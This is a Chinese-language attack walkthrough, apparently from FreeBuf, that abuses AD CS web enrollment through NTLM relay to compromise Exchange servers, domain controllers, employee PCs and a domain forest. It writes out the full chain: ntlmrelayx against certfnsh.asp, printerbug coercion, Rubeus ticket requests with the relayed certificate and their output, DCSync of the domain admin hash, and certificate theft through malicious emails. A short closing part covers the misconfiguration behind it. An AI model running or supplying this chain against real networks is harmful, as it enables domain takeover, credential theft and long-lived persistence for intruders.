0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
*严正声明:本文仅限于技术讨论与分享,严禁用于非法途径。
域控?Exchange? Sharepoint? 个人PC? 个人域账号/邮箱?域森林?统统只要5秒打下.
0x00 踩点和识别
域内定位CA机器的方法较多, 常见如下
certutil -config - -ping
测试网络联通性
curl 192.168.44.150/certsrv/ -I
简单探测AD CS
错误配置
0x01 攻击Exchange流水账
本地监听和指定攻击目标dc2 192.168.44.150
python ntlmrelayx.py -t http://192.168.44.150/certsrv/certfnsh.asp -smb2support --adcs
打印机协议触发回连Bypass监控规则
python printerbug.py corp/lower_user:yourpass@192.168.44.163 192.168.44.131
中继获取证书
[*] Base64 certificate of user EX03$: LONGLONGLONGSTR**********==
Rubeus一键梭/哈
Rubeus.exe asktgt /user:EX03$ /certificate:LONGLONGLONGSTR**********== /ptt
Rubeus生成票据并注入
C:\adcs>Rubeu_S.exe asktgt /user:EX03$ /certificate:bas64_cert_str /ptt //返回 v1.6.4 [*] Action: Ask TGT [*] Using PKINIT with etype rc4_hmac and subject: CN=ex03.BSEC.corp [*] Building AS-REQ (w/ PKINIT preauth) for: 'BSEC.corp\EX03$' [+] TGT request successful! [*] base64(ticket.kirbi): doIF**LongLongStrOfBase64Ticket.Kirbi***== [+] Ticket successfully imported! ServiceName : krbtgt/BSEC.corp ServiceRealm : BSEC.CORP UserName : EX03$ UserRealm : BSEC.CORP StartTime : 2021/7/6 13:52:35 EndTime : 2021/7/6 23:52:35 RenewTill : 2021/7/13 13:52:35 Flags : name_canonicalize, pre_authent, initial, renewable, forwardable KeyType : rc4_hmac Base64(key) : XpO52RXSeAo6OdEfC+7kQQ==
注入票据前为低权限
账号
注入票据后
生成的票据拿到rubues/mimikatz
都是可以的,转换成ccache
,也可以用到impacket工具包
里
生成的证书会在较长的时间内有效默认一年有效期
0x03 攻击域控
前部分操作如上文
可以注入域控
DC3$
的身份
接下来我们用DC3$
的身份, 进行dcsync
导出域管dcadmin
的hash
0x04 攻击域内员工
补丁更新到最新. 系统为win10 ltsc
发送几封恶意邮件, 使用最新版的outlook
和foxmail
打开
均成功获取域账号win10
的个人证书
使用该证书登陆win10 ltsc
这台机器, 或者查看邮件等,都是可以的. 无论域用户 win10
修改多少次密码,密码强度如何, 证书默认会一年有效,并可以进行续签
0x05 域森林攻击
同样进行NTLM relay
使用
relay
签发的证书,可见身份已经从bsec.ccop\low_user
到了forest-a.bsec.ccop\DC01$
的域管机器账号
0x06 换个视野看证书
certsrv
相关信息
签发请求相关流量csr
POST /certsrv/certfnsh.asp HTTP/1.1
Host: 192.168.44.150
Accept-Encoding: identity
Content-Length: 1699
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Mode=newreq&CertRequest=-----BEGIN+CERTIFICATE+REQUEST-----*****-----END+CERTIFICATE+REQUEST-----&CertAttrib=Info_Template&TargetStoreFlags=0&SaveCert=yes&ThumbPrint=
微软AD CS
签发证书流量
openssl查看relay
盗签的证书信息
域CA
的证书管理信息, 可以发现relay
签发的证书,也可以吊销
Certmgr.msc
查看加域机器
自动植入的Root CA
一张证书身份可以干什么
获取的不仅是Tickets
涉及的不仅是域内
每个加域的电脑都自动安装了AD CS下发的根证书想想攻击面
0x07 攻击链路分析和发散
利用AD CS(需要开启证书颁发机构Web注册Web接口), 将目标机器账号的权限, relay到AD CS 80 web实现pki身份的持久化(SMB Relay到 HTTP).
全程利用了域内正常服务打印机协议/Pki Web注册, 实现了低危害操作组合拳5秒打域控/Exchange/PC/域森林;
攻击入口不仅是打印机协议, 只要可控机器账号/域账号外发认证,即可实现组合拳,攻击面很广,攻击链路比较多.本文不过多赘述
另外用了PKI/HSM就一定安全了么?不管是开源或外采,抑或微软的PKI,攻防一直在持续.
为了不影响文章的主干和脉络清晰,很多点没有展开,如果有机会再来叨叨
0x08 漏洞引入思考
由于2019年的一系列smb/http/*->ldap等组合拳,微软和企业IT运维在全球范围内,迅速推进了ldaps的进程,里面开启pki系列服务时,如不小心勾选了证书颁发机构Web注册, 即会带来此次的攻击面. (默认只需要勾选证书颁发机构)
百度/谷歌部分ldaps开启部署教程中,不少截图标识了要勾选证书颁发机构Web注册
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
